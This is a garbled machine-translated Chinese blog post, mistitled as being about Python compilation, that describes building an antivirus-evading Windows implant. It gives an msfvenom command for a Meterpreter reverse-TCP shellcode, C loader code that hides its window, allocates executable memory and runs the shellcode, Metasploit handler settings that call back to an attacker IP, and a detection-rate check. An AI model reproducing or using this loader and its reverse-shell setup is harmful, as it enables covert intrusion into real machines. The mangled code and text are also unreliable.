python 源码编译,python在线编译器源码

  python 源码编译,python在线编译器源码

  尝试本文介绍的不杀生法。在线编译外壳代码,不用c杀(https://www . xlj TJ.com/archives/c-shellcode.html? From=timelineisappinstalled=0)。这篇文章已经写的很清楚了,我会清楚的记录下这篇文章的所有步骤。可能不是没有文章,给自己留个备份吧。对了,我要记录下我遇到的几个mini小孔。

  #0x01环境

  - Vs 2019

  - windows 10

  -凯莉

  #0x02 msf生成外壳代码

  ``````

  MSF venom-ax86-Platform Windows-P Windows/Meter Preter/Reverse _ TCPL Host=攻击设备的IP(MSF的反弹IP)LPORT=攻击设备的端口(mmsf

  ``````

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e9b ab12 ab 64410 e 3d 0012 F8)

  生成#0x03 VS可执行文件

  这里有两个小要点:

  由于本人、作者的VS版本和目标环境的差异,首先在VS 2019上生成`控制台APP 时,默认没有头文件。因此,生成器中没有名为pch.h 的头文件。解决办法很简单。删除代码`#include pch.h 就行了。

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 BAE a9 ab 6441104 c 0012 ee)

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9ba f14 ab 64410 e 3d 0013 CD)

  第二,如``代码生成``运行时选项和编译配置中的绿框:

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 680 ab 64410 e 3d 00152 f)

  如果我选择这种方式,请注意这里的编译配置是Debug x86’。这样可以成功生成exe,但是在运行过程中无法正常运行。目标计算机报告了以下情况:错误

  ![标题](https://leanote.com/API/file/getimage? fileid=5e 9 BAF deab 64410 e 3d 0013 F9)

  ![标题](https://leanote.com/API/file/getimage? fileid=5e 9 ba Fe 6 ab 6441104 c 001324)

  解决方案也不难:

  -项目“属性”“代码生成”“运行时”选择* *多线程(/MT) *

  -编译配置选择“版本x86”。

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 bb 02 eab 6441104 c 001332)

  -

  具体操作如下:

  打开vs2019,创建一个新项目“控制台应用程序(c)”。

  然后将shellcode复制到下面的代码中(我删除了不存在的头)。

  ``````

  //MSF.cpp:这个文件包含了“main”函数。程序的执行在这里开始和结束。

  #包括

  #include stdio.h

  #包含“Windows.h”

  # pragma comment(链接器,/subsystem:\ windows \ /entry:\ maincrtstartup \ )/删除窗口

  //包含步骤b的桌面上生成的shellcode.c的内容。

  未指定的字符外壳代码[]=

  Void master())

  {

  //shellexecute(NULL,_t ) open),_ t)explorer.exe),_ t)https://www.baiud.com),NULL,SW_).

  lpvoidmemory=virtualalloc(null,sizeof ) shellcode),MEM _提交 MEM _保留,页面_执行_读写);

  内存(Memory,shellcode,sizeof)shellcode);

  ()void(*))内存));

  }

  ``````

  选择所有外壳代码,并将其复制到编辑器代码框中:

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 192 ab 64410 e 3d 001446)

  将编译配置更改为:

  ![标题](https://leanote.com/API/file/getimage? fileid=5e 9 bb 1 dbab 6441104 c 001388)

  修改属性:在项目C/C代码生成运行时中右键单击属性:

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e9b b1b 7 ab 64410 e3d 001450)

  保存后,重新构建解决方案会生成exe,exe会运行并上线。

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 240 ab 64410 e 3d 001466)

  这里原作者编译运行时配置调试x86多线程测试/MTd 生成的文件大小是38.5k,而我配置生成的文件大小是79.0k

  #0x04在线测试

  使用MSF打开拦截:

  ``````

  使用漏洞/多重/处理程序

  setpayloadwindows/仪表预测器/反向_ TCP

  设置lhost 192.168.113.131

  设置lport 8090

  奔跑

  ``````

  运行exe以立即使:联机。

  !【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 bb 3d eab 6441104 c 0013 E7)

  #0x05非致命检查

  网络审查地址:[MSF(2).exe])https://r . virs can . org/language/zh-cn/report/aa b7b c 6 bee ad 5b 681 de1f 59563456 e 89]

  似乎还不错:

  !【标题】(https://leanote . com/API/file/getimage?fileid=5e 9bb 498 ab 64410 e 3d 0014 D6)

  #0x06 CS在线

  我也懒得了。把两端抬起来有点麻烦。

  要在特许测量员中联机,请生成有效载荷,如下所示:

  !【标题】(https://leanote . com/API/file/getimage?fileid=5e 9bb 516 ab 6441104 c 00141 f)

  后面的操作是一样的。

  -

  #参考链接:

  1 .在[中编译外壳代码停止在线](https://www。xlj TJ.com/archives/c-shellcode.html? from=timelineisappinstalled=0(,心灵鸡汤君的博客,心灵鸡汤君,2020年04月18日

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: